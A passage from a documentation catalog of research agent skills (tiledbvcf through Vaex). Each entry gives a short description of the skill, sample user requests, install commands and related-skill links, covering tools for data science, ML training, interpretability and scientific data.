VCF per individual, about 600 people, and every analysis starts by pulling the same few hundred candidate gene regions across everyone. Re-scanning the files each time is painfully slow. What's a better way to organize this data?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill tiledbvcf # GitHub CLI gh skill install KalarisLabs/research-agent-skills tiledbvcf ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`polars-bio`](/research-agent-skills/skills/polars-bio) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/tiledbvcf/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # timesfm-forecasting — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/timesfm-forecasting Zero-shot time series forecasting with Google's TimesFM foundation model. # `timesfm-forecasting` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** Apache-2.0 license · **Version:** 1.2 · **Includes scripts** **Tags:** time series forecasting, foundation models, zero-shot forecasting ## When to use it Zero-shot time series forecasting with Google's TimesFM foundation model. Use for any univariate time series (sales, sensors, energy, vitals, weather) without training a custom model. Supports CSV/DataFrame/array inputs with point forecasts and prediction intervals. Includes a preflight system checker script to verify RAM/GPU before first use. ## Example requests Ask your agent in plain language, for example: * *"Forecast the next 30 days from this daily series, no training please."* * *"I have hourly\_power.csv with a 'load\_kw' column, about 20k hourly readings from a campus substation. I'm on a laptop with 8 GB RAM and no GPU. Can you predict the next 48 hours with an uncertainty band? I hit a 'Model is not compiled' RuntimeError last time I tried a pretrained forecaster."* * *"We log blood glucose from 300 patients every 5 minutes in a wide CSV, one column per patient. I don't have time to fit a model per patient, but I need a 2-hour-ahead forecast for each of them, plus a way to flag readings that look abnormally off from what was expected."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill timesfm-forecasting # GitHub CLI gh skill install KalarisLabs/research-agent-skills timesfm-forecasting ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`aeon`](/research-agent-skills/skills/aeon) * [`statsmodels`](/research-agent-skills/skills/statsmodels) * [`exploratory-data-analysis`](/research-agent-skills/skills/exploratory-data-analysis) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`scikit-learn`](/research-agent-skills/skills/scikit-learn) * [`segment-anything-model`](/research-agent-skills/skills/segment-anything-model) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/timesfm-forecasting/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # torch-geometric — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/torch-geometric PyTorch Geometric (PyG) for graph neural networks — node/link/graph classification, message passing (GCN, GAT, GraphSAGE, GIN), heterogeneous graphs, neighbor… # `torch-geometric` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.2 **Tags:** graph neural networks, PyTorch Geometric, GNN, deep learning ## When to use it PyTorch Geometric (PyG) for graph neural networks — node/link/graph classification, message passing (GCN, GAT, GraphSAGE, GIN), heterogeneous graphs, neighbor sampling, and custom datasets. Use when working with torch\_geometric, not for general NetworkX analytics or non-graph PyTorch models. ## Example requests Ask your agent in plain language, for example: * *"How do I build a 2-layer GCN for Cora in PyG?"* * *"I'm training a GraphSAGE model on ogbn-products with NeighborLoader (num\_neighbors=\[15,10,5]) for a 2-layer model and my accuracy is bad and training is slow. In the loop I compute loss on out vs batch.y directly. Here's my loop: `for batch in loader: out = model(batch.x, batch.edge_index); loss = F.cross_entropy(out, batch.y)`. What's wrong?"* * *"I have a CSV of users, a CSV of movies, and a CSV of ratings. I want to predict which movies a user will like, treating users and movies as different kinds of nodes with different relations between them. How should I set this up and train it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill torch-geometric # GitHub CLI gh skill install KalarisLabs/research-agent-skills torch-geometric ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`networkx`](/research-agent-skills/skills/networkx) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/torch-geometric/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # torchdrug — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/torchdrug Build and troubleshoot TorchDrug 0.2.1 workflows for molecular graphs, property prediction, self-supervised pretraining, molecule generation, retrosynthesis… # `torchdrug` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** Apache-2.0 license · **Version:** 1.2 **Tags:** drug discovery, molecular graphs, molecule generation, retrosynthesis, deep learning ## When to use it Build and troubleshoot TorchDrug 0.2.1 workflows for molecular graphs, property prediction, self-supervised pretraining, molecule generation, retrosynthesis, protein representation learning, and knowledge graph reasoning. Use when code imports torchdrug or needs its datasets, models, tasks, or Engine. ## Example requests Ask your agent in plain language, for example: * *"How do I fine-tune a GIN on BBBP with torchdrug?"* * *"I'm on Python 3.11 with torch 2.2 and `import torchdrug` fails with an error about torch\_scatter (undefined symbol / no module named torch\_scatter). My script train\_clintox.py uses datasets.ClinTox, models.GIN and core.Engine. How do I fix it?"* * *"I have a set of \~50k USPTO reaction records and want to train a model that proposes the precursor molecules for a target product, then evaluate top-k accuracy. What pipeline should I set up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill torchdrug # GitHub CLI gh skill install KalarisLabs/research-agent-skills torchdrug ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/torchdrug/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # torchforge-rl-training — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/torchforge-rl-training Provides guidance for PyTorch-native agentic RL using torchforge, Meta's library separating infra from algorithms. # `torchforge-rl-training` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Reinforcement Learning, PyTorch, GRPO, SFT, Monarch, TorchTitan, Meta ## When to use it Provides guidance for PyTorch-native agentic RL using torchforge, Meta's library separating infra from algorithms. Use when you want clean RL abstractions, easy algorithm experimentation, or scalable training with Monarch and TorchTitan. ## Example requests Ask your agent in plain language, for example: * *"How do I write a custom RL loss in torchforge?"* * *"I'm trying to run GRPO on Qwen3-1.7B with GSM8K using torchforge on a box with only 2 A100s and I get 'Insufficient GPU resources'. Config is in apps/grpo/gsm8k.yaml. What do I change?"* * *"I want to experiment with a new policy-gradient variant for math reasoning, with group-relative advantages. I want the algorithm code kept separate from the distributed and inference plumbing, PyTorch-native with no Ray. What stack should I use and how do I get started?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill torchforge-rl-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills torchforge-rl-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`distributed-llm-pretraining-torchtitan`](/research-agent-skills/skills/distributed-llm-pretraining-torchtitan) * [`pytorch-lightning-distributed`](/research-agent-skills/skills/pytorch-lightning-distributed) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/torchforge-rl-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # training-llms-megatron — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/training-llms-megatron Trains large language models (2B-462B parameters) with NVIDIA Megatron-Core using tensor, pipeline, sequence, context, and expert parallelism, plus FP8 on… # `training-llms-megatron` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Megatron-Core, Large-Scale Training, NVIDIA, Tensor Parallelism, Pipeline Parallelism, Model Parallelism, H100, Distributed Training, Production ## When to use it Trains large language models (2B-462B parameters) with NVIDIA Megatron-Core using tensor, pipeline, sequence, context, and expert parallelism, plus FP8 on H100 and MoE configuration for Mixtral-style models. Covers choosing TP/PP/DP/CP sizes, launching distributed training, tuning micro-batch size, and fixing low MFU, out-of-memory errors, and diverging loss. Use when training models above 10B parameters on NVIDIA A100/H100 GPUs, when setting up 3D parallelism for a LLaMA-style model, when configuring expert parallelism for MoE training, or when trying to raise MFU toward 40-47%. Use PyTorch FSDP, DeepSpeed, or HuggingFace Accelerate instead for models under 70B or simpler setups. ## Example requests Ask your agent in plain language, for example: * *"How should I split TP/PP/DP for a 70B LLaMA on 64 H100s with Megatron?"* * *"I'm pretraining a 13B GPT on 2 nodes of 8xA100-80GB with Megatron-LM, using pretrain\_gpt.py and torchrun. At micro-batch 4 with TP=2, PP=1, I get 'CUDA out of memory' in the first forward pass. MFU was around 28% on a smaller test. What should I change, and in what order?"* * *"We want to train a Mixtral-style 8x7B sparse model from scratch on a 64-GPU H100 cluster and keep the experts spread across devices so it fits. Our loss also spikes after a few thousand steps. How do we set it up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill training-llms-megatron # GitHub CLI gh skill install KalarisLabs/research-agent-skills training-llms-megatron ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`deepspeed`](/research-agent-skills/skills/deepspeed) * [`moe-training`](/research-agent-skills/skills/moe-training) * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/training-llms-megatron/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # transformer-lens-interpretability — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/transformer-lens-interpretability Provides guidance for mechanistic interpretability research using TransformerLens to inspect and manipulate transformer internals via HookPoints and… # `transformer-lens-interpretability` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Mechanistic Interpretability, TransformerLens, Activation Patching, Circuit Analysis ## When to use it Provides guidance for mechanistic interpretability research using TransformerLens to inspect and manipulate transformer internals via HookPoints and activation caching. Use when reverse-engineering model algorithms, studying attention patterns, or performing activation patching experiments. ## Example requests Ask your agent in plain language, for example: * *"How do I cache all activations for gpt2-small on a prompt and look at layer 5 attention patterns?"* * *"I'm working in ioi\_patching.ipynb with gpt2-small on 200 IOI prompts (e.g. 'When Mary and John went to the store, John gave a drink to'). I want to run path/activation patching over resid\_pre at every layer and position and plot a heatmap of logit-difference recovery, but my corrupted and clean prompts have different token lengths and I get a shape mismatch error in the hook. What should I do?"* * *"I trained a tiny 2-layer attention-only transformer on repeated random token sequences and want to figure out which heads copy the token that followed the previous occurrence of the current token, and prove they're doing so causally. How should I go about it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill transformer-lens-interpretability # GitHub CLI gh skill install KalarisLabs/research-agent-skills transformer-lens-interpretability ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`nnsight-remote-interpretability`](/research-agent-skills/skills/nnsight-remote-interpretability) * [`pyvene-interventions`](/research-agent-skills/skills/pyvene-interventions) * [`sparse-autoencoder-training`](/research-agent-skills/skills/sparse-autoencoder-training) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/transformer-lens-interpretability/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # transformers — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/transformers Hugging Face Transformers for loading Hub models, running pipeline inference, text generation, and Trainer fine-tuning on NLP, vision, audio, and multimodal… # `transformers` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** Apache-2.0 license · **Version:** 1.3 **Tags:** Hugging Face Transformers, LLMs, NLP, fine-tuning, deep learning ## When to use it Hugging Face Transformers for loading Hub models, running pipeline inference, text generation, and Trainer fine-tuning on NLP, vision, audio, and multimodal tasks. Use when working with AutoModel, pipelines, tokenizers, or TrainingArguments—not for general ML outside the Transformers library. ## Example requests Ask your agent in plain language, for example: * *"How do I run sentiment analysis on a list of tweets with a pretrained model from the Hub?"* * *"I'm fine-tuning bert-base-uncased on my CSV of clinical notes (train.csv, val.csv, columns 'text' and 'label', 5 classes) with Trainer, and I get 'RuntimeError: CUDA out of memory' at the first step with batch size 32 on a 16GB GPU. Here's my TrainingArguments(output\_dir='out', per\_device\_train\_batch\_size=32, num\_train\_epochs=3, fp16=True). What should I change?"* * *"I have about 2,000 recorded interviews as WAV files and I need written transcripts for them, ideally using an open model that runs on my own lab GPU. Can you set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill transformers # GitHub CLI gh skill install KalarisLabs/research-agent-skills transformers ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`huggingface-tokenizers`](/research-agent-skills/skills/huggingface-tokenizers) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/transformers/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # treatment-plans — AI agent skill for clinical and health Source: https://docs.kalarislabs.com/research-agent-skills/skills/treatment-plans Format and structurally validate local treatment-plan documentation after clinical decisions have already been supplied and verified by authorized licensed… # `treatment-plans` **Category:** [clinical-and-health](/research-agent-skills/skills#clinical-and-health) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** treatment plans, clinical documentation, medicine, healthcare ## When to use it Format and structurally validate local treatment-plan documentation after clinical decisions have already been supplied and verified by authorized licensed professionals. Use for source traceability, clinician-authored intervention records, goals and checkpoints, shared-decision records, reconciliation handoffs, and release gates—not for clinical decision-making. ## Example requests Ask your agent in plain language, for example: * *"I have a synthetic treatment-plan package from our QA team. Can you run the structural validator on it and tell me what's blocking release?"* * *"I'm building a de-identified research handoff for our oncology pathway study. I have ./pkg/transition\_reconciliation.json and ./pkg/goals\_checkpoints.json. The validator is complaining about 'unknown field' and 'duplicate key' errors, and the checkpoint dates aren't being scheduled. Can you help me fix the files so the derived schedule comes out right?"* * *"Our clinic wants a consistent, traceable record of what the clinicians already decided for each patient's plan: who authored each intervention, who verified it, the source version, the shared-decision discussion and who takes over at discharge. How should I structure that as local files?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill treatment-plans # GitHub CLI gh skill install KalarisLabs/research-agent-skills treatment-plans ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `clinical-and-health` category with `/plugin install clinical-and-health@research-agent-skills`. ## Related * [`ara-research-manager`](/research-agent-skills/skills/ara-research-manager) * [`clinical-decision-support`](/research-agent-skills/skills/clinical-decision-support) * [Skills for medicine and clinical research](/research-agent-skills/fields/medicine) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/treatment-plans/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # umap-learn — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/umap-learn Reduces and embeds high-dimensional data with umap-learn (UMAP) in Python, including 2D/3D visualization, supervised and semi-supervised UMAP, DensMAP… # `umap-learn` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** BSD-3-Clause license · **Version:** 1.3 **Tags:** UMAP, dimensionality reduction, embeddings, data visualization ## When to use it Reduces and embeds high-dimensional data with umap-learn (UMAP) in Python, including 2D/3D visualization, supervised and semi-supervised UMAP, DensMAP, AlignedUMAP, Parametric UMAP (Keras), transform() on new data, and inverse transforms. Use when visualizing high-dimensional data as a 2D or 3D embedding, preprocessing features for HDBSCAN clustering, using partial labels to guide an embedding, aligning embeddings across time points or batches, or projecting unseen samples into a trained embedding. Tune n\_neighbors, min\_dist, n\_components, and metric. Not for linear PCA or t-SNE-specific workflows. ## Example requests Ask your agent in plain language, for example: * *"How do I get a 2D UMAP plot of my 5000x300 feature matrix?"* * *"I'm analysing scRNA-seq from mouse cortex in cells.h5ad, with 20k cells after PCA to 50 components. I want to cluster with HDBSCAN. I ran UMAP with defaults to 2D and got many tiny fragmented clusters. What should I change? Please write the code."* * *"I have mass-spec proteomics profiles for 10,000 samples, and only about 300 have a confirmed disease subtype label. I'd like a low-dimensional map that uses those few labels to pull similar samples together. Later I need to place new patients' samples onto the same map without refitting. How should I do this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill umap-learn # GitHub CLI gh skill install KalarisLabs/research-agent-skills umap-learn ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`sentence-transformers`](/research-agent-skills/skills/sentence-transformers) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/umap-learn/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # uncertainty-and-units — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/uncertainty-and-units Track physical units and propagate measurement uncertainty in scientific calculations using pint and uncertainties. # `uncertainty-and-units` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** measurement uncertainty, units, GUM, metrology, physics ## When to use it Track physical units and propagate measurement uncertainty in scientific calculations using pint and uncertainties. Use for unit conversion and dimensional checking, GUM uncertainty budgets, Type A and Type B evaluation, coverage factors and expanded uncertainty, Monte Carlo propagation, significant-figure and plus-minus reporting, error propagation through curve fits, CODATA constants, auditing Python code for stripped units or broken uncertainty propagation, and order-of-magnitude plausibility checks using dimensionless groups (Reynolds, Peclet, Damkohler, Knudsen, Biot, Womersley), characteristic scales such as diffusion time or Debye length, and observed magnitude ranges. Trigger on "is this number physically reasonable", "sanity check these units", "what regime is this flow in", or a result that looks off by orders of magnitude. ## Example requests Ask your agent in plain language, for example: * *"my pipe flow Re comes out as 4e7 in a 200 micron capillary, is that even physically reasonable?"* * *"I'm fitting calibration.csv (voltage vs. temperature, with per-point standard uncertainties from the DMM certificate) using scipy curve\_fit in fit\_cal.py, then computing the temperature at 3.2 V from the slope and intercept. The reported error bar seems too small and doesn't change when I change sigma. How should I get the correct uncertainty on the predicted value?"* * *"I weighed a sample on a balance with a calibration certificate saying U = 0.2 mg at k = 2, plus the balance resolution is 0.1 mg, and I have 8 repeat readings. How do I combine these and report the final mass so reviewers know what the ± means?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill uncertainty-and-units # GitHub CLI gh skill install KalarisLabs/research-agent-skills uncertainty-and-units ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`astropy`](/research-agent-skills/skills/astropy) * [`experimental-design`](/research-agent-skills/skills/experimental-design) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`statistical-power`](/research-agent-skills/skills/statistical-power) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/uncertainty-and-units/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # unslop-academic-writing — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/unslop-academic-writing Remove AI slop from research writing so papers, theses, grant proposals, reviews and rebuttals read as written by a careful human expert. # `unslop-academic-writing` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** AI slop, academic writing, tone, voice, humanize, clarity, editing, scientific writing ## When to use it Remove AI slop from research writing so papers, theses, grant proposals, reviews and rebuttals read as written by a careful human expert. Covers stock vocabulary (delve, tapestry, pivotal, underscores), empty emphasis, hedge stacks, formulaic signposting, "not only X but also Y" constructions, em-dash pileups, monotone rhythm, and claims vaguer than the data. Use when drafting or revising academic text with an AI assistant, when a draft "sounds like ChatGPT", before submission, or to match an author's own voice. Includes a zero-dependency slop linter for Markdown, LaTeX, text and Word files. ## Example requests Ask your agent in plain language, for example: * *"My introduction sounds like ChatGPT wrote it: delve, pivotal role, tapestry. Rewrite it so it reads like a human researcher."* * *"Remove the AI slop and em dashes from this thesis chapter without changing the claims."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill unslop-academic-writing # GitHub CLI gh skill install KalarisLabs/research-agent-skills unslop-academic-writing ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) * [`peer-review`](/research-agent-skills/skills/peer-review) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`scientific-critical-thinking`](/research-agent-skills/skills/scientific-critical-thinking) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/unslop-academic-writing/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # unsloth — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/unsloth Provides guidance on fine-tuning large language models with Unsloth, a library for faster, lower-memory training using LoRA and QLoRA, based on its official… # `unsloth` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Fine-Tuning, Unsloth, Fast Training, LoRA, QLoRA, Memory-Efficient, Optimization, Llama, Mistral, Gemma, Qwen ## When to use it Provides guidance on fine-tuning large language models with Unsloth, a library for faster, lower-memory training using LoRA and QLoRA, based on its official documentation (references/llms-txt.md). Use when setting up LoRA or QLoRA fine-tuning of an LLM with Unsloth, reducing GPU memory use during training, looking up Unsloth features or APIs, debugging Unsloth training code, or learning Unsloth best practices. Not for general model training with plain Hugging Face Transformers or PEFT without Unsloth. ## Example requests Ask your agent in plain language, for example: * *"How do I load Llama 3 8B in 4-bit with Unsloth and add LoRA adapters?"* * *"I'm fine-tuning Qwen2.5-7B with Unsloth on my 24GB RTX 4090 using train.py and a JSONL file, data/clinical\_notes.jsonl, with 'instruction' and 'response' fields. It crashes with 'torch.OutOfMemoryError: CUDA out of memory' at step 12 with max\_seq\_length=8192 and per\_device\_train\_batch\_size=4. What should I change?"* * *"I have a single consumer GPU with 16GB VRAM and want to adapt a 8B open-weight model to answer questions in my lab's protocol style, using as little memory and time as possible. Which library and setup would speed up the training and cut memory use, and how would I export the result to GGUF for local use?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill unsloth # GitHub CLI gh skill install KalarisLabs/research-agent-skills unsloth ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`llama-factory`](/research-agent-skills/skills/llama-factory) * [`peft-fine-tuning`](/research-agent-skills/skills/peft-fine-tuning) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/unsloth/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # usfiscaldata — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/usfiscaldata Query the U.S. Treasury Fiscal Data REST API for federal financial data. No API key required. # `usfiscaldata` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.3 **Tags:** US Treasury, fiscal data, economics, public finance, open data ## When to use it Query the U.S. Treasury Fiscal Data REST API for federal financial data. No API key required. Use for national debt (Debt to the Penny), Daily Treasury Statements, Monthly Treasury Statements, Treasury securities auctions, interest rates, foreign exchange rates, savings bonds, or U.S. government revenue and spending statistics. ## Example requests Ask your agent in plain language, for example: * *"what's the current total public debt outstanding?"* * *"I'm writing a paper on federal interest costs. Can you pull monthly interest expense on the public debt from fiscal year 2015 through 2024 into a pandas DataFrame and save it as interest\_expense.csv? I want record\_date, the expense category, and the amount. Watch out for pagination, I think there are more than 100 rows."* * *"I need to know how much demand there was at recent 10-year Treasury note auctions, like bid-to-cover ratios over the past two years, and also which auctions are coming up next. No idea where to get this for free without signing up."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill usfiscaldata # GitHub CLI gh skill install KalarisLabs/research-agent-skills usfiscaldata ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/usfiscaldata/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # vaex — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/vaex Processes and analyzes tabular datasets too large for RAM using Vaex, a Python library for lazy, out-of-core DataFrames over memory-mapped HDF5 and Arrow… # `vaex` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.1 **Tags:** big data, out-of-core DataFrames, HDF5, data analysis, Python ## When to use it Processes and analyzes tabular datasets too large for RAM using Vaex, a Python library for lazy, out-of-core DataFrames over memory-mapped HDF5 and Arrow files, with CSV and Parquet import/export. Covers virtual columns, filtering, groupby aggregations, large-data heatmaps and histograms, and vaex-ml transformers, PCA, and K-means. Use when opening or converting multi-gigabyte CSV/HDF5/Arrow/Parquet files, computing fast statistics on billions of rows, visualizing massive datasets, building ML pipelines that do not fit in memory, or speeding up slow aggregations with lazy evaluation and delay=True. Prefer polars when data fits in RAM, or dask for cluster-distributed work. ## Example requests Ask your agent in plain language, for example: * *"I have a 90 GB CSV of taxi trips and only 16 GB of RAM. What's the quickest way to get mean fare by pickup hour without crashing?"* * *"I'm working with gaia\_dr3\_subset.hdf5, about 1.4 billion rows of stellar positions and magnitudes. I need a 2D density map of ra vs dec, plus a virtual column for galactic latitude, and I'm getting MemoryError when I load it with pandas.read\_hdf. How do I fix this?"* * *"We have several hundred million sensor readings in Parquet files that won't fit in memory. I want to standardize the features, run PCA down to 5 components, and cluster them with k-means, all without loading the data into memory. How should I set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill vaex # GitHub CLI gh skill install KalarisLabs/research-agent-skills vaex ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`polars-bio`](/research-agent-skills/skills/polars-bio) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/vaex/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # venue-templates — AI agent skill for journal formats Source: 